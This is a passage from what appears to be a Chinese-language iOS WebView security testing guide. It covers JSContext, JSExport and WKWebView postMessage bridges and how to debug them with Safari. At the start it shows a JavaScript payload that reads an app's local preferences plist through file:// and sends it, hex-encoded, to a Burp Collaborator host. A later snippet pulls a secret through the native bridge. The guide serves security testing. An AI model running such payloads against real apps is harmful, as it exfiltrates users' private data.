result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

通过 WebView 暴露的本地方法

了解 iOS 中的 WebView 本地接口

从 iOS 7 开始,苹果提供了用于在 WebView 中的 JavaScript 和本地 Swift 或 Objective-C 对象之间进行通信的 API。这种集成主要通过两种方法实现:

  • JSContext:当将 Swift 或 Objective-C 块链接到 JSContext 中的标识符时,会自动创建一个 JavaScript 函数。这允许 JavaScript 和本地代码之间实现无缝集成和通信。

  • JSExport 协议:通过继承 JSExport 协议,本地属性、实例方法和类方法可以暴露给 JavaScript。这意味着在 JavaScript 环境中进行的任何更改都会在本地环境中反映出来,反之亦然。然而,必须确保通过此方法无意中暴露敏感数据。

在 Objective-C 中访问 JSContext

在 Objective-C 中,可以使用以下代码行检索 UIWebView 的 JSContext:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

与 WKWebView 通信

对于 WKWebView,无法直接访问 JSContext。相反,通过 postMessage 函数进行消息传递,从而实现 JavaScript 到本地通信。设置这些消息的处理程序如下,使 JavaScript 能够安全地与本地应用程序进行交互:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

交互和测试

JavaScript 可以通过定义脚本消息处理程序与原生层交互。这允许执行诸如从网页调用原生函数之类的操作:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

要捕获和操纵本地函数调用的结果,可以在HTML中覆盖回调函数:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

原生端处理JavaScript调用,如在JavaScriptBridgeMessageHandler类中所示,处理诸如数字相乘等操作的结果,并将其发送回JavaScript以供显示或进一步操作:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

iOS WebViews调试

要有效地调试iOS webviews中的网页内容,需要特定的设置,涉及到Safari的开发者工具,因为发送到console.log()的消息不会显示在Xcode日志中。以下是一个简化的指南,强调关键步骤和要求:

  • iOS设备上的准备工作:需要在您的iOS设备上激活Safari Web Inspector。方法是转到设置 > Safari > 高级,并启用_Web Inspector_。

  • macOS设备上的准备工作:在您的macOS开发机器上,必须在Safari中启用开发者工具。启动Safari,访问Safari > 首选项 > 高级,并选择选项_Show Develop menu_。

  • 连接和调试:连接您的iOS设备到您的macOS计算机并启动应用程序后,使用您的macOS设备上的Safari选择要调试的webview。在Safari的菜单栏中导航到_Develop_,悬停在您的iOS设备名称上以查看webview实例列表,并选择您希望检查的实例。将为此目的打开一个新的Safari Web Inspector窗口。

然而,要注意以下限制:

  • 使用此方法进行调试需要一个macOS设备,因为它依赖于Safari。

  • 只有通过Xcode加载到您的设备上的应用程序中的webviews才能够进行调试。通过App Store或Apple Configurator安装的应用程序中的webviews无法以这种方式进行调试。

参考资料

(基于上的教程)

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此处
https://blog.vuplex.com/debugging-webviews
https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
https://github.com/authenticationfailure/WheresMyBrowser.iOS
https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
htARTE(HackTricks AWS Red Team Expert)
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